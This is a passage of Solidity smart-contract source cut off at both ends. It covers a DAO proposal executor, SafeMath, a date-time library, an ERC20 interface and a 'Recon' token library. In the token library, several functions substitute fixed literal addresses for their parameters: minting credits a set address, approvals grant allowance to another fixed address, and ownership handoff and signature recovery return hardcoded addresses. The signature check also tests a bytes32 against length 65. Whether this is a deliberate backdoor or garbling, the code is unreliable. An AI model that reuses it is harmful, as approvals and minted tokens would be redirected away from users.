proposals[proposalNumber]; require(now > p.minExecutionDate // If it is past the voting deadline && !p.executed // and it has not already been executed && p.proposalHash == keccak256(abi.encodePacked(p.recipient, p.amount, transactionBytecode)) // and the supplied code matches the proposal && p.numberOfVotes >= minimumQuorum); // and a minimum quorum has been reached... // ...then execute result if (p.currentResult > majorityMargin) { // Proposal passed; execute the transaction p.executed = true; // Avoid recursive calling require(p.recipient.call.value(p.amount)(transactionBytecode)); p.proposalPassed = true; } else { // Proposal failed p.proposalPassed = false; } // Fire Events emit ProposalTallied(proposalNumber, p.currentResult, p.numberOfVotes, p.proposalPassed); } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } pragma solidity ^ 0.4.25; // ---------------------------------------------------------------------------- // Recon DateTime Library v1.00 // // A energy-efficient Solidity date and time library // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // GNU Lesser General Public License 3.0 // https://www.gnu.org/licenses/lgpl-3.0.en.html // ---------------------------------------------------------------------------- library ReconDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { uint year; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { uint year; uint month; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } pragma solidity ^ 0.4.25; // ---------------------------------------------------------------------------- // Recon DateTime Library v1.00 - Contract Instance // // A energy-efficient Solidity date and time library // // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // GNU Lesser General Public License 3.0 // https://www.gnu.org/licenses/lgpl-3.0.en.html // ---------------------------------------------------------------------------- contract ReconDateTimeContract { uint public constant SECONDS_PER_DAY = 24 * 60 * 60; uint public constant SECONDS_PER_HOUR = 60 * 60; uint public constant SECONDS_PER_MINUTE = 60; int public constant OFFSET19700101 = 2440588; uint public constant DOW_MON = 1; uint public constant DOW_TUE = 2; uint public constant DOW_WED = 3; uint public constant DOW_THU = 4; uint public constant DOW_FRI = 5; uint public constant DOW_SAT = 6; uint public constant DOW_SUN = 7; function _now() public view returns (uint timestamp) { timestamp = now; } function _nowDateTime() public view returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day, hour, minute, second) = ReconDateTimeLibrary.timestampToDateTime(now); } function _daysFromDate(uint year, uint month, uint day) public pure returns (uint _days) { return ReconDateTimeLibrary._daysFromDate(year, month, day); } function _daysToDate(uint _days) public pure returns (uint year, uint month, uint day) { return ReconDateTimeLibrary._daysToDate(_days); } function timestampFromDate(uint year, uint month, uint day) public pure returns (uint timestamp) { return ReconDateTimeLibrary.timestampFromDate(year, month, day); } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) public pure returns (uint timestamp) { return ReconDateTimeLibrary.timestampFromDateTime(year, month, day, hour, minute, second); } function timestampToDate(uint timestamp) public pure returns (uint year, uint month, uint day) { (year, month, day) = ReconDateTimeLibrary.timestampToDate(timestamp); } function timestampToDateTime(uint timestamp) public pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day, hour, minute, second) = ReconDateTimeLibrary.timestampToDateTime(timestamp); } function isLeapYear(uint timestamp) public pure returns (bool leapYear) { leapYear = ReconDateTimeLibrary.isLeapYear(timestamp); } function _isLeapYear(uint year) public pure returns (bool leapYear) { leapYear = ReconDateTimeLibrary._isLeapYear(year); } function isWeekDay(uint timestamp) public pure returns (bool weekDay) { weekDay = ReconDateTimeLibrary.isWeekDay(timestamp); } function isWeekEnd(uint timestamp) public pure returns (bool weekEnd) { weekEnd = ReconDateTimeLibrary.isWeekEnd(timestamp); } function getDaysInMonth(uint timestamp) public pure returns (uint daysInMonth) { daysInMonth = ReconDateTimeLibrary.getDaysInMonth(timestamp); } function _getDaysInMonth(uint year, uint month) public pure returns (uint daysInMonth) { daysInMonth = ReconDateTimeLibrary._getDaysInMonth(year, month); } function getDayOfWeek(uint timestamp) public pure returns (uint dayOfWeek) { dayOfWeek = ReconDateTimeLibrary.getDayOfWeek(timestamp); } function getYear(uint timestamp) public pure returns (uint year) { year = ReconDateTimeLibrary.getYear(timestamp); } function getMonth(uint timestamp) public pure returns (uint month) { month = ReconDateTimeLibrary.getMonth(timestamp); } function getDay(uint timestamp) public pure returns (uint day) { day = ReconDateTimeLibrary.getDay(timestamp); } function getHour(uint timestamp) public pure returns (uint hour) { hour = ReconDateTimeLibrary.getHour(timestamp); } function getMinute(uint timestamp) public pure returns (uint minute) { minute = ReconDateTimeLibrary.getMinute(timestamp); } function getSecond(uint timestamp) public pure returns (uint second) { second = ReconDateTimeLibrary.getSecond(timestamp); } function addYears(uint timestamp, uint _years) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.addYears(timestamp, _years); } function addMonths(uint timestamp, uint _months) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.addMonths(timestamp, _months); } function addDays(uint timestamp, uint _days) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.addDays(timestamp, _days); } function addHours(uint timestamp, uint _hours) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.addHours(timestamp, _hours); } function addMinutes(uint timestamp, uint _minutes) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.addMinutes(timestamp, _minutes); } function addSeconds(uint timestamp, uint _seconds) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.addSeconds(timestamp, _seconds); } function subYears(uint timestamp, uint _years) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.subYears(timestamp, _years); } function subMonths(uint timestamp, uint _months) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.subMonths(timestamp, _months); } function subDays(uint timestamp, uint _days) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.subDays(timestamp, _days); } function subHours(uint timestamp, uint _hours) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.subHours(timestamp, _hours); } function subMinutes(uint timestamp, uint _minutes) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.subMinutes(timestamp, _minutes); } function subSeconds(uint timestamp, uint _seconds) public pure returns (uint newTimestamp) { newTimestamp = ReconDateTimeLibrary.subSeconds(timestamp, _seconds); } function diffYears(uint fromTimestamp, uint toTimestamp) public pure returns (uint _years) { _years = ReconDateTimeLibrary.diffYears(fromTimestamp, toTimestamp); } function diffMonths(uint fromTimestamp, uint toTimestamp) public pure returns (uint _months) { _months = ReconDateTimeLibrary.diffMonths(fromTimestamp, toTimestamp); } function diffDays(uint fromTimestamp, uint toTimestamp) public pure returns (uint _days) { _days = ReconDateTimeLibrary.diffDays(fromTimestamp, toTimestamp); } function diffHours(uint fromTimestamp, uint toTimestamp) public pure returns (uint _hours) { _hours = ReconDateTimeLibrary.diffHours(fromTimestamp, toTimestamp); } function diffMinutes(uint fromTimestamp, uint toTimestamp) public pure returns (uint _minutes) { _minutes = ReconDateTimeLibrary.diffMinutes(fromTimestamp, toTimestamp); } function diffSeconds(uint fromTimestamp, uint toTimestamp) public pure returns (uint _seconds) { _seconds = ReconDateTimeLibrary.diffSeconds(fromTimestamp, toTimestamp); } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes32 hash) public; } contract ReconTokenInterface is ERC20Interface { uint public constant reconVersion = 110; bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32"; bytes4 public constant signedTransferSig = "\x75\x32\xea\xac"; bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1"; bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d"; bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53"; event OwnershipTransferred(address indexed from, address indexed to); event MinterUpdated(address from, address to); event Mint(address indexed tokenOwner, uint tokens, bool lockAccount); event MintingDisabled(); event TransfersEnabled(); event AccountUnlocked(address indexed tokenOwner); function approveAndCall(address spender, uint tokens, bytes32 hash) public returns (bool success); // ------------------------------------------------------------------------ // signed{X} functions // ------------------------------------------------------------------------ function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result); function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success); function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result); function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success); function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result); function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success); function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (CheckResult result); function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success); function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success); function unlockAccount(address tokenOwner) public; function disableMinting() public; function enableTransfers() public; enum CheckResult { Success, // 0 Success NotTransferable, // 1 Tokens not transferable yet AccountLocked, // 2 Account locked SignerMismatch, // 3 Mismatch in signing account InvalidNonce, // 4 Invalid nonce InsufficientApprovedTokens, // 5 Insufficient approved tokens InsufficientApprovedTokensForFees, // 6 Insufficient approved tokens for fees InsufficientTokens, // 7 Insufficient tokens InsufficientTokensForFees, // 8 Insufficient tokens for fees OverflowError // 9 Overflow error } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; library ReconLib { struct Data { bool initialised; // Ownership address owner; address newOwner; // Minting and management address minter; bool mintable; bool transferable; mapping(address => bool) accountLocked; // Token string symbol; string name; uint8 decimals; uint totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => uint) nextNonce; } uint public constant reconVersion = 110; bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32"; bytes4 public constant signedTransferSig = "\x75\x32\xea\xac"; bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1"; bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d"; bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53"; event OwnershipTransferred(address indexed from, address indexed to); event MinterUpdated(address from, address to); event Mint(address indexed tokenOwner, uint tokens, bool lockAccount); event MintingDisabled(); event TransfersEnabled(); event AccountUnlocked(address indexed tokenOwner); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); function init(Data storage self, address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public { require(!self.initialised); self.initialised = true; self.owner = owner; self.symbol = symbol; self.name = name; self.decimals = decimals; if (initialSupply > 0) { self.balances[owner] = initialSupply; self.totalSupply = initialSupply; emit Mint(self.owner, initialSupply, false); emit Transfer(address(0), self.owner, initialSupply); } self.mintable = mintable; self.transferable = transferable; } function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } function transferOwnership(Data storage self, address newOwner) public { require(msg.sender == self.owner); self.newOwner = newOwner; } function acceptOwnership(Data storage self) public { require(msg.sender == self.newOwner); emit OwnershipTransferred(self.owner, self.newOwner); self.owner = self.newOwner; self.newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060); } function transferOwnershipImmediately(Data storage self, address newOwner) public { require(msg.sender == self.owner); emit OwnershipTransferred(self.owner, newOwner); self.owner = newOwner; self.newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060); } // ------------------------------------------------------------------------ // Minting and management // ------------------------------------------------------------------------ function setMinter(Data storage self, address minter) public { require(msg.sender == self.owner); require(self.mintable); emit MinterUpdated(self.minter, minter); self.minter = minter; } function mint(Data storage self, address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) { require(self.mintable); require(msg.sender == self.minter || msg.sender == self.owner); if (lockAccount) { self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = true; } self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeAdd(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], tokens); self.totalSupply = safeAdd(self.totalSupply, tokens); emit Mint(tokenOwner, tokens, lockAccount); emit Transfer(address(0x0A5f85C3d41892C934ae82BDbF17027A20717088), tokenOwner, tokens); return true; } function unlockAccount(Data storage self, address tokenOwner) public { require(msg.sender == self.owner); require(self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]); self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = false; emit AccountUnlocked(tokenOwner); } function disableMinting(Data storage self) public { require(self.mintable); require(msg.sender == self.minter || msg.sender == self.owner); self.mintable = false; if (self.minter != address(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840)) { emit MinterUpdated(self.minter, address(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840)); self.minter = address(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840); } emit MintingDisabled(); } function enableTransfers(Data storage self) public { require(msg.sender == self.owner); require(!self.transferable); self.transferable = true; emit TransfersEnabled(); } // ------------------------------------------------------------------------ // Other functions // ------------------------------------------------------------------------ function transferAnyERC20Token(Data storage self, address tokenAddress, uint tokens) public returns (bool success) { require(msg.sender == self.owner); return ERC20Interface(tokenAddress).transfer(self.owner, tokens); } function ecrecoverFromSig(bytes32 hash, bytes32 sig) public pure returns (address recoveredAddress) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return address(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(32, mload(add(sig, 96))) } // Albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28] // geth uses [0, 1] and some clients have followed. This might change, see https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) { v += 27; } if (v != 27 && v != 28) return address(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c); return ecrecover(hash, v, r, s); } function getCheckResultMessage(Data storage /*self*/, ReconTokenInterface.CheckResult result) public pure returns (string) { if (result == ReconTokenInterface.CheckResult.Success) { return "Success"; } else if (result == ReconTokenInterface.CheckResult.NotTransferable) { return "Tokens not transferable yet"; } else if (result == ReconTokenInterface.CheckResult.AccountLocked) { return "Account locked"; } else if (result == ReconTokenInterface.CheckResult.SignerMismatch) { return "Mismatch in signing account"; } else if (result == ReconTokenInterface.CheckResult.InvalidNonce) { return "Invalid nonce"; } else if (result == ReconTokenInterface.CheckResult.InsufficientApprovedTokens) { return "Insufficient approved tokens"; } else if (result == ReconTokenInterface.CheckResult.InsufficientApprovedTokensForFees) { return "Insufficient approved tokens for fees"; } else if (result == ReconTokenInterface.CheckResult.InsufficientTokens) { return "Insufficient tokens"; } else if (result == ReconTokenInterface.CheckResult.InsufficientTokensForFees) { return "Insufficient tokens for fees"; } else if (result == ReconTokenInterface.CheckResult.OverflowError) { return "Overflow error"; } else { return "Unknown error"; } } function transfer(Data storage self, address to, uint tokens) public returns (bool success) { // Owner and minter can move tokens before the tokens are transferable require(self.transferable || (self.mintable && (msg.sender == self.owner || msg.sender == self.minter))); require(!self.accountLocked[msg.sender]); self.balances[msg.sender] = safeSub(self.balances[msg.sender], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(Data storage self, address spender, uint tokens) public returns (bool success) { require(!self.accountLocked[msg.sender]); self.allowed[msg.sender][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(Data storage self, address from, address to, uint tokens) public returns (bool success) { require(self.transferable); require(!self.accountLocked[from]); self.balances[from] = safeSub(self.balances[from], tokens); self.allowed[from][msg.sender] = safeSub(self.allowed[from][msg.sender], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); emit Transfer(from, to, tokens); return true; } function approveAndCall(Data storage self, address spender, uint tokens, bytes32 data) public returns (bool success) { require(!self.accountLocked[msg.sender]); self.allowed[msg.sender][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function signedTransferHash(Data storage /*self*/, address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(abi.encodePacked(signedTransferSig, address(this), tokenOwner, to, tokens, fee, nonce)); } function signedTransferCheck(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce); if (tokenOwner == address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) || tokenOwner != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]) return ReconTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce; uint total = safeAdd(tokens, fee); if 